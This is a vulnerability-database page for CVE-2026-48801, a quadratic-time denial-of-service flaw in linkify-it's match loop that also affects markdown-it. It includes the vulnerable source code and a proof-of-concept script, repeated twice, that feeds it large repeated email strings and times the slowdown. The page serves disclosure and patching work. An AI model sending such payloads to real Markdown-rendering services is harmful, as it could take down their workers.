Every CVE Search/ Get API key

CVE-2026-48801

linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop

8.7 HighFix available

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.39%Down 0.1 points since Jul 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Record
CVE-2026-48801
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1333
Updated
2026-11-02
EUVDEUVD-2026-44454 8.7

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Record
EUVD-2026-44454
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-22p9-wv53-3rq4 8.7

LinkifyIt#match scan loop has quadratic algorithmic complexity

Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "[email protected]\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

  • HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
  • Vulnerable function: LinkifyIt.prototype.match — index.mjs:528-554
  • Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
  • Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
  • All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration:

  1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
  2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = '[email protected]\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install [email protected]
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = '[email protected] '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"
n=1000 bytes=8000   md.render=45ms
n=2000…
Record
GHSA-22p9-wv53-3rq4
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1333
Updated
2026-11-02
NVD 8.7

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Record
CVE-2026-48801
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-1333
Updated
2026-11-02
OSV 8.7

linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Record
CVE-2026-48801
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1333
Updated
2026-11-02
OSVGHSA-22p9-wv53-3rq4 8.7

LinkifyIt#match scan loop has quadratic algorithmic complexity

Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "[email protected]\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

  • HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0)
  • Vulnerable function: LinkifyIt.prototype.match — index.mjs:528-554
  • Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match)
  • Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rules_core/linkify.mjs:57 when linkify:true
  • All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

LinkifyIt.prototype.match = function match (text) {
  const result = []
  let shift = 0
  let tail = shift ? text.slice(shift) : text

  while (this.test(tail)) {
    result.push(createMatch(this, shift))
    tail = tail.slice(this.__last_index__)   // <-- re-allocates remaining tail each iteration
    shift += this.__last_index__
  }

  if (result.length) return result
  return null
}

The loop iterates O(N) times (once per match). Each iteration:

  1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
  2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)

Total cost: Σ(N - i*c) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]

cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
  const evil = '[email protected]\n'.repeat(n)
  const t0 = process.hrtime.bigint()
  l.match(evil)
  const ms = Number(process.hrtime.bigint() - t0) / 1e6
  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000  bytes=8000    took 44 ms
n=2000  bytes=16000   took 159 ms
n=4000  bytes=32000   took 628 ms
n=8000  bytes=64000   took 2506 ms
n=16000 bytes=128000  took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

npm install [email protected]
node -e "
  const md = require('markdown-it')({ linkify: true })
  for (const n of [1000, 2000, 4000, 8000]) {
    const evil = '[email protected] '.repeat(n)
    const t0 = process.hrtime.bigint()
    md.render(evil)
    const ms = Number(process.hrtime.bigint() - t0) / 1e6
    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
  }
"
n=1000 bytes=8000   md.render=45ms
n=2000…
Record
GHSA-22p9-wv53-3rq4
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-1333
Updated
2026-11-02
Show 8 moreShow less
OSVRHSA-2026:38187 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:38187
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:57590 8.6

Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update

Record
RHSA-2026:57590
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-48801 8.7

linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.

Record
UBUNTU-CVE-2026-48801
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1791290211 No score

TuxCare security update for linkify-it (1 CVE)

TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 2.2.0-tuxcare.2.

Record
CLSA-2026-1791290211
Updated
2026-11-02
OSVCLSA-2026-1792767578 No score

TuxCare security update for linkify-it (1 CVE)

TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 1.0.1-tuxcare.2.

Record
CLSA-2026-1792767578
Updated
2026-11-02
OSVCLSA-2026-1792776237 No score

TuxCare security update for linkify-it (1 CVE)

TuxCare rebuilt linkify-it to address 1 CVE. Fixed in 3.0.3-tuxcare.2.

Record
CLSA-2026-1792776237
Updated
2026-11-02
OSVMGASA-2026-0377 No score

Updated python-linkify-it-py package fixes security vulnerabilities

LinkifyIt.match() was quadratic on untrusted input when linkify is enabled (GHSA-8m2q-wq3r-6hq8). Fix quadratic complexity in LinkifyIt.match(), port of linkify-it 5.0.1 and 5.0.2 (upstream CVE-2026-48801, CVE-2026-59887) (#82) Match validators at a position instead of slicing the tail, needed because Python 3.10 does not optimize the ^ anchor (#82) Allow ; in the email name, matching linkify-it. Behavior change: a;[email protected] is now linkified (#82)

Record
MGASA-2026-0377
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-48801 No score

CVE-2026-48801 in linkify-it - Patched by Root

Root has patched CVE-2026-48801 in the linkify-it package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-48801
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
linkify-it
npm
through 5.0.0
5.0.1
linkify-it
TuxCare:npm
2.2.0-tuxcare.0 up to 2.2.0-tuxcare.2, plus listed versions
2.2.02.2.0-tuxcare.1
2.2.0-tuxcare.2
linkify-it
TuxCare:npm
1.0.1-tuxcare.0 up to 1.0.1-tuxcare.2, plus listed versions
1.0.11.0.1-tuxcare.1
1.0.1-tuxcare.2
linkify-it
TuxCare:npm
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.2, plus listed versions
3.0.33.0.3-tuxcare.1
3.0.3-tuxcare.2
linkify-it
npm
before 5.0.1
5.0.1
python-linkify-it-py
Mageia:10
From an advisory covering 2 CVEs
before 2.1.1-1.mga10
2.1.1-1.mga10
cargo
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
clippy
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-analyzer
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
Show 22 moreShow less
Affected packages
PackageAffectedFixed
rust-debugger-common
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-doc
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-gdb
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-lldb
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-src
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-aarch64-unknown-none-softfloat
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-aarch64-unknown-uefi
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-i686-pc-windows-gnu
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-wasm32-unknown-unknown
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-wasm32-wasip1
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-pc-windows-gnu
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-unknown-none
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-x86_64-unknown-uefi
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rustfmt
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rh-podman-desktop
Red Hat:enterprise_linux:10.2
From an advisory covering 24 CVEs
before 0:1.1.2-1.el10_2
0:1.1.2-1.el10_2
linkify-it
Root:npm
before 2.2.0-aikido.1
2.2.0-aikido.12.2.0-aikido.24.0.1-aikido.1
@rootio/linkify-it
Root:npm
before 2.2.0-root.io.1
2.2.0-root.io.12.2.0-root.io.24.0.1-root.io.1
node-markdown-it
Ubuntu:22.04:LTS
All versions, plus listed versions
10.0.0+dfsg-210.0.0+dfsg-310.0.0+dfsg-3.110.0.0+dfsg-410.0.0+dfsg-510.0.0+dfsg-6
None known
node-markdown-it
Ubuntu:24.04:LTS
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-2
None known
node-markdown-it
Ubuntu:26.10
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5
None known
node-markdown-it
Ubuntu:26.04:LTS
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-4
None known

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48801 is a high vulnerability (CVSS 8.7) in Markdown-it Linkify-it, published June 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in linkify-it 5.0.1.

References

Show 173 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open